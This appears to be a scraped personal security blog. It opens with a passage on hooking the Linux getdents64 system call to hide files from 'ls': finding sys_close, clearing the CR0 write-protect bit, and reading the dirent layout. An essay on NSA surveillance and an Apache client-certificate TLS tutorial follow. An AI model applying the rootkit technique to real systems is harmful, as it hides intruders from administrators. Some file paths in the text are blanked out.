root@d6-test:/home/shawn# grep sys_close /boot/
c10e0aa1 T sys_close
c140fdc4 R __ksymtab_sys_close
c141815c r __kcrctab_sys_close
c1420e33 r __kstrtab_sys_close

I used a brute force way to locate that system call. I learned it from
memset's blog:

Start mem addr would be 0xc0000000, then it would try it repeatly unti
it locate sys_close()'s addr.

Then, write protection bit in cr0 has to be shut down. WP bit is the
16th bit in cr0 register.

31  30  29  28          19  18  17  16  15         6  5  4  3  2  1  0
|PG|CD |NW|-----------------|AM|---|WP|--------------|NE|ET|TS|EM|MP|PE|

After we done above steps, we are able to hijack the system call we
want. Here I choose to hijack getdents64(). Why? Because all I wanna
do is hide a specific file from "ls". Let's see what "ls" would
usually do:
// begin.........
execve("/bin/ls", ["ls"], [/* 16 vars */]) = 0
brk(0)                                  = 0x8366000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7791000
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=19346, ...}) = 0
// look, that's it
getdents64(3, /* 17 entries */, 32768)  = 544
getdents64(3, /* 0 entries */, 32768)   = 0
close(3)                                = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7790000
// then it would display them in the standard out(1)
write(1, "a.out  dirent.c  dirent.c~  insi"..., 107a.out  dirent.c  dirent.c~  insight-lab  libmnl  libnftables  linux-3.13  linux-3.13.tar  my_tmp  nftables
) = 107

The only struct from kernel we have to face is:
           struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;     /* Offset to next linux_dirent */
               unsigned short d_reclen;  /* Length of this linux_dirent */
               char           d_name[];  /* Filename (null-terminated) */
                                   /* length is actually (d_reclen - 2 -
                                      offsetof(struct linux_dirent, d_name) */
               char           pad;       // Zero padding byte
               char           d_type;    // File type (only since Linux 2.6.4;
                                         // offset is (d_reclen - 1))


d_reclen is size of the current linux_dirent64, it does matters. Plz
read the fucking source code for any detail! Well, like in good old days, I drew an ascii big picture here.

May the L0rd's hacking spirit guide us!!!

Wednesday, December 25, 2013

Life was never easy...especially in post-prism era;-)

I've watched a great free speech today:

Bruce Schneier, our great philosopher in cybersec field. And Eben Moglen, afaik, he is a great hacker( not in computer stuff) in free software law field. I do remember I used to listen Eben's free speech( electronic version) when I was in college. Seven years until now, I know better about why there are group of people has been trying fight for digital rights, software freedom, etc.....

I'm here to share something I've learn from Bruce and Eben today. This writeup is going to be my notes and some personal summary of 2013. It may be mess a little bit;-)

What do we learn from Mr Snowden's disclosure about crypto?
Cryptography itself is still hard to break. NSA is not breaking the math, but breaking by cheating, by stealing private keys, by forging certificates, by doing non-crypto stuff to archive their *ditry* goals. Even in the fucked-up case of Google, NSA didn't crack the traffic between user's browser and Google's server. Because Google uses client auth SSL at default, more importantly, it works( NSA dont like it). But NSA hijacked the traffic between Google data centers where the SSL/TLS was removed for whatever reasons( cost?). Crypto is still the one of the best ways to fight NSA or NSA-like organization.

Tor stories?
Personally, I like Tor. It probably could save people's life in some "restricted" area. Tor is pissed off agencies like NSA. The contributors of Tor project have routine seminars. It seems that the discussion of how to break Tor is their daily bread;-) Thanks to Tor project contributors.

What if NSA is in our threat model?
The 1st thing is mitigation: NSA got a piece of math but still need a bunch of engineers to make it work. Let NSA pay for higher cost( timing budget not new math). Plz use particular crypto technology( on GNU/Linux distro) as much as possible. It's reasonable to speculating that NSA has something about crypto stuff but we don't. Information asymmetry is indeed exsit. Of course NSA known what we do in past decades but we are rarely to known what NSA has been doing in the same thanks to Mr Snowden's disclosure gave us *a little more* information.

And NSA-like organizations are definitely needs a lot of automated attack tools: foxasset? The reason it simple: you can't just train people on the street to become old school hackers in few months. That's why they have to develop automated tools.

btw: What does old school hacker mean in my context? A type of people who are highly skilled with low-level techniques, such as *NIX System, networking( both internet stuff and corenet of telco), reversing, cryptography, C/ASM code audit, etc..and also have a specific type of strong philosophy with underground spirit;-) spirit~wth

Standard corruption?
It's not all standards does security matters. Bruce thinks AES is still secure. We can't only blame the Dual ECC stuff to standard process's fault. Implementation is important, such as non-NSA involved internation cellphone standard was fucked up..A1/5? Ring the bell? We should only trust these public standards, which our guys( free software enthusiast, cybersec philosophical anarchist like Phrack guys? or people like Bruce?:)) are getting involve with it.

What tools can we trust?
GNUPG, tor, OTR, etc... Some of these open source tools are written by security/crypto paranoids. They have a very awesome design and implementation.

What if you are on the target list of NSA-like organization?
If you are targeted, there's nothing you can do in that level. Is this a super-APT shit?

Is cyberwar going to be end?
I don't think so. If everyone holds the philosophy of "I'll fuck you if you don't fuck me first, sir", then it would turn the whole scene to be everybody being fucked by everybody. That's what old school hackers has been through the paradigm shift( painfully?) from old good hacking days to "This is cyber, sir!".

Is that sounds we are hopeless?
Nope, quoted from Bruce:"Society improves because people dare to think the unthinkable and then after 20, 30 years everyone says that was kind of good idea. It takes a while but it has to start."

FOSS solutions?
Bruce thinks open source solution is more secure than closed ones. Because:
1, You can look at it( source code)
2, It's harder to let someone slip into

We probably don't need to worry too much( did I say "too much"?) about NSA was/is/will try to put backdoor in some fundamental free software projects, like linux kernel, GCC, Glibc, "supposed to be re-written" openssl;-) etc. Because according to the full-disclosured documentations, NSA seems amazingly risks aversed. They only want to take a safe path. Yeah..yeah, I know what they're can do evil, but don't be caught up;-) Free/open source community have a lot of old school hackers has been do code review for decades. They did a great job. And they are going to continue this *secret* war aginst NSA-like organization. So it's not easy attack( backdooring) on compiler.....( and, there are tons of guys like me are trying to be old school hackers).

Leap of faith?
Yeah, it sounds perfect. But no one can ensure you 100% secure. But the fact is that you can't examine everything. You must trust them( the tools you use). Give yourself a little faith. Did Soren A. Kierkegarrd said that we could feel comfortable to use GCC;-)

Well, use Apple products( iphone, ipad, ishit) and Microsoft products( Win for gaming platform, Office for whatever) are not a good options. Drop them, come on!

Hardware box issues: never update the full-disclosured vulns:
In some countries, cybersec business couldn't support small business. The reason cause that happened, because the most of customers had/have the wrong concept about cybersec. They think the only thing you need to do is
buy a bunch of hardware boxes( firewall, IDS/IPS, UTM, NGFW, or whatever). Obviously, it's violating the very important old school principles:
Security is NOT:

Security is NOT installing a firewall ..
Security is NOT a Product or Service .. ( by Schneier, Bruce )
Security is Not a Product; It's a Process .. ( by Schneier, Bruce )
A Security Audit is NOT "running a port scan and turning things off" ..

Security is:

Security is "Can you still continue to work productively/safely, without compounding the security breach"
Security is only as good as your "weakest link"
Security is "risk management" of your corporate resources(computers/people), required expertise, time management, implementation costs, data backup/recovery proceedures ...
Security is a Process, Methodology, Costs, Policies and People
Security is "Can somebody physically walk out with your computers,
disks, tapes, .. "
Security is 24x7x365 ... constantly ongoing .. never ending
Security is "learn all you can as fast as you can, without negatively
affecting the network, productivity and budget"

In past few years, more and more enterprise management guys are realizing that those hardware boxes can't solve the problem, which it was supposed to be solved.* Right here, there's one thing you might want to know: Firstly, some "sec box" vendor has been using a lot of open source code( linux kernel, snort, l7, BRO, etc) but they never contribute to the community. *........Personally I do believe that only old school cybersec principles can make system secure. But it need skilled people to do a lot of work in the daily cybersec process.  Well,  the mainstream marketing are still advertising the *boxes* solution is one thing, while it's hard to find old school guys is another.

What I'm trying to say are not hardware boxes are not important. But people also can do small business with trying to find cheap and effective solution. That's where open source cybersec solution fit in. There are a lot of great cybersec open source project. All you have to do is to pay someone who know
these cybersec open source code and combine them into the your own cybersec solution. For example, a customer want to hardening their network and server. There are a lot of open source sec project can do that, such as
iptables/snort/psad/tcpwrapper/apparmor/openssl/apache or web level
hardening stuff( inside the DJANGO for preventing sql injection, mod_security, etc). But the customer would pay someone who know about it to consulting for
them. The skilled guy could train customer's IT guys or go through
with their own implementation. Personally, I think it's the best to do
the cybersec small business. It's win-win solution! Old school guys get
pay and customer are happy.

btw: Some regions may have these cybersec small business model already.

Well, it's Christmas today. As a Neo-Calvinist, I wouldn't talk about religion too much  in my daily life. But all in all, neo-calvinist is Christian indeed. I'm not too religious. Sometimes, I really hate those nominal christian was feel so good to doing terrible things  in name of god....fuc* them....Anyway, hacker is a type of people who are willing to seek the truth with no matter cost. Even I'd see L0rd Jesus look like overmind( from starcraft) after I die. The problem to me would be "Is this true my L0rd looks like overmind?", if he is the L0rd whatever he looks like, I'd be still worship him;-)

Hacker can pick the red pill.
Hacker can destroy the blue pill.
Hacker can embrace the desert of the real.

Merry Christmas, my fellow brothers/sisters!

May L0rd's hacking spirit guide us in 2014!!!

Wednesday, November 27, 2013

How to set up apache2 with SSL/TLS support and client auth on Debian 7.2

I think SSL/TLS should be part of security hardening process. Only fools would not use cryptography technology in post-prism era. I think what Mr Snowden did, that was proved one thing: Richard Stallman and Phrack guys( I prefer use the term "philosophical anarchist") never lie to us;-) Well, I don't wanna bullshit anything about this controversial topic here...let's see how we can set up a HTTPS server with client auth.

Generate CA certificates:
root@d6-test:/opt/ssl# cp /usr/lib/ssl/misc/ .
root@d6-test:/opt/ssl# ./ -newca
CA certificate filename (or enter to create)

Making CA certificate ...
Generating a 2048 bit RSA private key
writing new private key to './demoCA/private/./cakey.pem'
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:Shanghai
Locality Name (eg, city) []:Shanghai
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MOT
Organizational Unit Name (eg, section) []:MOT
Common Name (e.g. server FQDN or YOUR name) []:hardened-shit
Email Address []

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /usr/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/./cakey.pem:
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number:
            Not Before: Nov 19 02:08:14 2013 GMT
            Not After : Nov 18 02:08:14 2016 GMT
            countryName               = CN
            stateOrProvinceName       = Shanghai
            organizationName          = MOT
            organizationalUnitName    = MOT
            commonName                = hardened-shit
            emailAddress              =
        X509v3 extensions:
            X509v3 Subject Key Identifier:
            X509v3 Authority Key Identifier:

            X509v3 Basic Constraints:
Certificate is to be certified until Nov 18 02:08:14 2016 GMT (1095 days)

Write out database with 1 new entries
Data Base Updated

Copy intermediate key and certificate:
root@d6-test:/opt/ssl# cp demoCA/private/cakey.pem ca.key
root@d6-test:/opt/ssl# cp demoCA/cacert.pem ca.crt

Generate server key:
root@d6-test:/opt/ssl# openssl genrsa -des3 -out server.key 2048
Generating RSA private key, 2048 bit long modulus
e is 65537 (0x10001)
Enter pass phrase for server.key:
Verifying - Enter pass phrase for server.key:

Generate server CSR(Certificate Signing Request) with server key:
root@d6-test:/opt/ssl# openssl req -new -key server.key -out server.csr
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:Shanghai
Locality Name (eg, city) []:Shanghai
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MOT
Organizational Unit Name (eg, section) []:MOT
Common Name (e.g. server FQDN or YOUR name) []:hardened-shit
Email Address []

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Genrate server certificate:
root@d6-test:/opt/ssl# openssl req -x509 -days 2048 -key server.key -in server.csr > server.crt
Enter pass phrase for server.key

You can check out the cert or verify it:
openssl x509 -noout -text -in server.crt
openssl verify -CAfile ca.crt server.crt

Generate client's key:
root@d6-test:/opt/ssl# openssl genrsa -des3 -out client.key 2048
Generating RSA private key, 2048 bit long modulus
e is 65537 (0x10001)
Enter pass phrase for client.key:
Verifying - Enter pass phrase for client.key:

Client's CSR:
root@d6-test:/opt/ssl# openssl req -new -key client.key -out client.csr
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:Shanghai
Locality Name (eg, city) []:Shanghai
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MOT
Organizational Unit Name (eg, section) []:MOT
Common Name (e.g. server FQDN or YOUR name) []:hardened-shit
Email Address []

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Generate client's certificate with CA certificate's signature:
root@d6-test:/opt/ssl# openssl ca -in client.csr -out client.crt
Using configuration from /usr/lib/ssl/openssl.cnf
Enter pass phrase for ./demoCA/private/cakey.pem:
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number:
            Not Before: Nov 19 02:28:13 2013 GMT
            Not After : Nov 19 02:28:13 2014 GMT
            countryName               = CN
            stateOrProvinceName       = Shanghai
            organizationName          = MOT
            organizationalUnitName    = MOT
            commonName                = hardened-shit
            emailAddress              =
        X509v3 extensions:
            X509v3 Basic Constraints:
            Netscape Comment:
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier:
            X509v3 Authority Key Identifier:

Certificate is to be certified until Nov 19 02:28:13 2014 GMT (365 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

Convert to pkcs12 format, which can be identified by firefox:
root@d6-test:/opt/ssl# openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.pfx
Enter pass phrase for client.key:
Enter Export Password:
Verifying - Enter Export Password:

Enable SSL/TLS support in Apache2:
root@hardened-shit:/opt# mv ssl /etc/ssl/hardened-shit

root@hardened-shit:/etc/apache2# a2ensite default-ssl
Enabling site default-ssl.
To activate the new configuration, you need to run:
  service apache2 reload
root@hardened-shit:/etc/apache2# a2enmod ssl
Module ssl already enabled

edit /etc/apache2/sites-enabled/default-ssl:
        SSLCertificateFile    /etc/ssl/hardened-shit/server.crt
        SSLCertificateKeyFile /etc/ssl/hardened-shit/server.key

        SSLCertificateChainFile /etc/ssl/hardened-shit/ca.crt

        SSLCACertificatePath /etc/ssl/hardened-shit/
        SSLCACertificateFile /etc/ssl/hardened-shit/ca.crt

        SSLVerifyClient require
        SSLVerifyDepth  10

Disable port 80:
root@hardened-shit:/etc/apache2# a2dissite default
-------------------------------------------------------------------------------- should works.

btw: I highly recommend you to read these two articles if you want to know further: Hardening Your Web Server's SSL Ciphers, and TLS Perfect Forward Secrecy support with Apache

I only enable the secure ciphers:
SSLProtocol +TLSv1.2 +TLSv1.1